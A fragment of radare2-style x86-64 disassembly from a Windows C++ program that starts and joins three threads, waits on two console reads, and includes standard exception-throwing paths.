mov ecx, 8
call fcn.1400c8afc
test rax, rax
je 0x1400656c9
lea rcx, [0x14005cb80]
mov qword [rax], rcx
jmp 0x1400656cc
mov rax, r13
mov qword [rbp + 0xa0], rax
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c490]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x18], rax
test rax, rax
je 0x14006586f
mov qword [rbp + 0xa0], r13
lea rcx, [rbp - 0x18]
call fcn.1400565d0
nop
cmp dword [rbp - 0x10], 0
jne 0x140065833
mov ecx, 8
call fcn.1400c8afc
test rax, rax
je 0x140065738
lea rcx, [0x1400540a0]
mov qword [rax], rcx
jmp 0x14006573b
mov rax, r13
mov qword [rbp + 0x28], rax
lea rcx, [rbp]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c490]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 8], rax
test rax, rax
je 0x140065860
mov qword [rbp + 0x28], r13
lea rcx, [rbp - 8]
call fcn.1400565d0
nop
cmp dword [rbp], 0
jne 0x140065833
mov ecx, 8
call fcn.1400c8afc
test rax, rax
je 0x1400657a1
lea rcx, [0x14005b330]
mov qword [rax], rcx
jmp 0x1400657a4
mov rax, r13
mov qword [rbp + 0x48], rax
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c490]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x38], rax
test rax, rax
je 0x140065851
mov qword [rbp + 0x48], r13
lea rcx, [rbp - 0x38]
call fcn.1400565d0
nop
cmp dword [rbp - 0x30], 0
jne 0x140065833
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov al, 1
mov rcx, qword [rbp + 0xbe8]
xor rcx, rsp
call fcn.1400c8560
lea r11, [rsp + 0xcf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.1400533f0
nop
call fcn.140053450
nop
mov dword [rbp - 0x30], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x10], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x20], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3